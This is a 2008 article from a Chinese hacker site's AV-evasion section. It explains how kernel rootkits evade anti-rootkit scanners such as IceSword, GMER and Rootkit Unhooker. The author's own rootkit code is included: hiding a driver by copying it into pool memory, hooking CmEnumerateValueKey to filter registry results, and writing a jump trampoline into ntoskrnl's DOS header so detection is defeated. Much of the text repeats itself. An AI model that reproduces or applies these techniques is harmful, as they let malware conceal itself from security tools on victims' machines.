奥运倒计时:
设为首页
加入收藏
论坛登陆 用户名:
密码:
首页
新闻资讯
文章中心
黑客资源
黑客点睛
安全防护
软件下载
动画教程
商城中心
技术问答
论坛社区
文章
下载
图片
点睛
您现在的位置:
太平洋安全网
>>
黑客点晴
>>
免杀技术
>> 正文
绕过Anti-Rookit的内核模块扫描技巧
作者:佚名 黑客点晴来源:
网络转载
点击数: 更新时间:2008-5-12
本文描述了一些方法,可以绕过目前主流的现代Anti-rootk
IT
工具
,包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootk
IT
最新版等等
目前的anti-rootk
IT
工具
中,对于内核模块主要采用如下几种扫描方式:
1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举,例如Icesword。
2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举,例如Rootk
IT
Unhooker,Gmer等。
3.内核镜象暴力搜索,
搜索
MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootk
IT
unhooker,rutkowska的modgreper等,通常只能显示为unknow image
4.函数引用,各种routine\hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等
5.使用
系统
ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootk
IT
等
先说绕过1,2,3,5的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.
这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里。需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法。我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用
系统
函数C,那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2
在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码,函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C。当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活
相关代码:
//hook call CmEnumerateValueKey
void InstallCMRegHook()
{
PVOID _CmEnumerateKeyValueLoc ;
_CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
//找到 call CmEnumerateValueKey
HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;
//获得NewCmEnumerateValueKey长度
HookCode3 = ExAllocatePoolW
IT
hTag(NonPagedPool ,
HookCodeLen + 4 ,
MEM_TAG_HOOKCODE3);
//分配内存
*(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;
//原函数地址放入内存
RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);
//copy函数代码
DO_SPINLOCK();
*(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);
//进行HOOK
EX
IT
_SPINLOCK();
return ;
}
NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
IN PVOID KeyValueInformation,
IN ULONG KeyLength,
IN PULONG ResultLength
)
{
//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址
__asm
{
push eax
call __
__:
POP eax
SUB eax,offset __
add eax,offset NewCmEnumearateValueKey
;获得函数开始地址
sub eax,4
mov eax,[eax]
;获得OrgCmEnumerateValueKey
push ResultLength
push KeyLength
push KeyValueInformation
push KeyValueInformationClass
push Index
push KeyControlBlock
call eax
mov stat, eax
;调用原始函数
pop eax
}
//.....其他处理
//
//.....
}
void NopFunc8()
{
__asm
{
nop
nop
nop
}
return ;
}
//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位
这样,基于ZwQuerySystemInformation,PsLoadModuleList,对象目录,Type链,ImageLoad,暴力PE
搜索
(因为我们压根就没有PE镜象,just one piece of code~)...
本文描述了一些方法,可以绕过目前主流的现代Anti-rootk
IT
工具
,包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootk
IT
最新版等等
目前的anti-rootk
IT
工具
中,对于内核模块主要采用如下几种扫描方式:
1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举,例如Icesword。
2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举,例如Rootk
IT
Unhooker,Gmer等。
3.内核镜象暴力搜索,
搜索
MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootk
IT
unhooker,rutkowska的modgreper等,通常只能显示为unknow image
4.函数引用,各种routine\hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等
5.使用
系统
ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootk
IT
等
先说绕过1,2,3,5的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.
这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里。需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法。我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用
系统
函数C,那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2
在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码,函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C。当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活
相关代码:
//hook call CmEnumerateValueKey
void InstallCMRegHook()
{
PVOID _CmEnumerateKeyValueLoc ;
_CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
//找到 call CmEnumerateValueKey
HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;
//获得NewCmEnumerateValueKey长度
HookCode3 = ExAllocatePoolW
IT
hTag(NonPagedPool ,
HookCodeLen + 4 ,
MEM_TAG_HOOKCODE3);
//分配内存
*(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;
//原函数地址放入内存
RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);
//copy函数代码
DO_SPINLOCK();
*(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);
//进行HOOK
EX
IT
_SPINLOCK();
return ;
}
NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
IN PVOID KeyValueInformation,
IN ULONG KeyLength,
IN PULONG ResultLength
)
{
//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址
__asm
{
push eax
call __
__:
POP eax
SUB eax,offset __
add eax,offset NewCmEnumearateValueKey
;获得函数开始地址
sub eax,4
mov eax,[eax]
;获得OrgCmEnumerateValueKey
push ResultLength
push KeyLength
push KeyValueInformation
push KeyValueInformationClass
push Index
push KeyControlBlock
call eax
mov stat, eax
;调用原始函数
pop eax
}
//.....其他处理
//
//.....
}
void NopFunc8()
{
__asm
{
nop
nop
nop
}
return ;
}
//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位
这样,基于ZwQuerySystemInformation,PsLoadModuleList,对象目录,Type链,ImageLoad,暴力PE
搜索
(因为我们压根就没有PE镜象,just one piece of code~)...
本文描述了一些方法,可以绕过目前主流的现代Anti-rootk
IT
工具
,包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootk
IT
最新版等等
接下来看如何绕过4.中的检测方式
1.Hook常用函数:这个很简单了,恢复自己要用的函数~或者压根就不用那些函数,HOOK代码大部分都是
数据
过滤/处理部分,所以完全可以一个
系统
函数也不调...
2.各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook,因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中(类似的还有object hook,pxxxx hook等),使用此方法的例如rootkit unhooker, gmer等。只要我们先使用这样的方法,就可以绕过检测,让Anti-rootk
IT
工具
不知道是我们的模块HOOK了这里:
先将dispatch地址跳转到code section中不用的部分,5个字节就足够了,然后在这5个字节里使用jmp指令再跳到我们的模块里,这样Anti-rootk
IT
工具
检测时,就会发现dispatch routine仍然在该模块的code section中,通过这种方法也可以绕过对dispatch hook\object hook的检测。
inline hook/iat/eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到。
即使Anti-rootk
IT
工具
使用更复杂的算法,对各个routine进行深度代码级扫描,我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来。
一个简单的双段跳绕过object hook检测的代码:
object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中
同样来自于我的某RK:
ULONG InsideHookCode(ULONG NewAddress , ULONG BaseCode )
{
//该函数用于将hook代码转接到模块的DOS头中
//in :NewAddress: real hookcode to jump
//in :ModuleName: kernel module base address to inject
//out :NewJump Address
ULONG TempCode = BaseCode ;
TempCode = TempCode + sizeof(IMAGE_DOS_HEADER) ;
//into DOS stub
DO_SPINLOCK();
WPOFF();
*(BYTE*)TempCode = 0xe9 ;
__asm
{
push eax
push ecx
mov ecx, TempCode
mov eax, NewAddress
sub eax, ecx
sub eax, 5
mov dword ptr[ecx+1] , eax
pop ecx
pop eax
}
WPON();
EX
IT
_SPINLOCK();
//wr
IT
e jmp NewAddress into DOS stub
return TempCode ;
}
黑客点晴录入:随风追忆 责任编辑:随风追忆
上一个黑客点晴:
菜鸟脱ExeCryptor的笔记
下一个黑客点晴: 没有了
【
发表评论
】【
加入收藏
】【
告诉好友
】【
打印此文
】【
关闭窗口
】
推荐
点睛
[易语言二课]如何增加易语言的组件 ,以及组…
[易语言一课]简单了解与实例易语言
10秒钟让你和任意QQ号聊天
菜鸟黑客入门攻击及防范技巧
黑客利器流光使用技巧
PHP实战--入侵郑州广播在线
热门
点睛
[易语言一课]简单了解与实例易语言
10秒钟让你和任意QQ号聊天
菜鸟黑客入门攻击及防范技巧
黑客利器流光使用技巧
PHP实战--入侵郑州广播在线
灰鸽子简单写下载者做搭配
本站
推荐
关于我们
|
联系方法
|
招聘信息
|
加入会员
|
诚征代理
|
广告服务
|
欢迎投稿
|
站长信箱
|
友情链接
|
网站地图
24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
许可证号:豫ICP备07005385号